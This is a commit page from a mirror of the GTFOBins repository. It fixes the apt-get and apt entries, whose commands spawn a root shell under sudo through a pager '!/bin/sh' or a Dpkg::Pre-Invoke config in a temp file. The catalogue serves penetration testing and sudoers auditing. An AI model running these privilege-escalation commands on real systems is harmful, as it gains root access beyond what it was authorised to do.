mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-11-04 02:38:43 +01:00 
			
		
		
		
	Fix apt* shell
The Bash process substitution doesn't work (anymore?).
This commit is contained in:
		@@ -11,5 +11,8 @@ functions:
 | 
			
		||||
        sudo apt-get changelog apt
 | 
			
		||||
        !/bin/sh
 | 
			
		||||
    - description: For this to work the target package (e.g., `sl`) must not be installed.
 | 
			
		||||
      code: sudo apt-get install -c <(echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}') sl
 | 
			
		||||
      code: |
 | 
			
		||||
        TF=$(mktemp)
 | 
			
		||||
        echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
 | 
			
		||||
        sudo apt-get install -c $TF sl
 | 
			
		||||
---
 | 
			
		||||
 
 | 
			
		||||
@@ -11,5 +11,8 @@ functions:
 | 
			
		||||
        sudo apt-get changelog apt
 | 
			
		||||
        !/bin/sh
 | 
			
		||||
    - description: For this to work the target package (e.g., `sl`) must not be installed.
 | 
			
		||||
      code: sudo apt install -c <(echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}') sl
 | 
			
		||||
      code: |
 | 
			
		||||
        TF=$(mktemp)
 | 
			
		||||
        echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
 | 
			
		||||
        sudo apt install -c $TF sl
 | 
			
		||||
---
 | 
			
		||||
 
 | 
			
		||||
		Reference in New Issue
	
	Block a user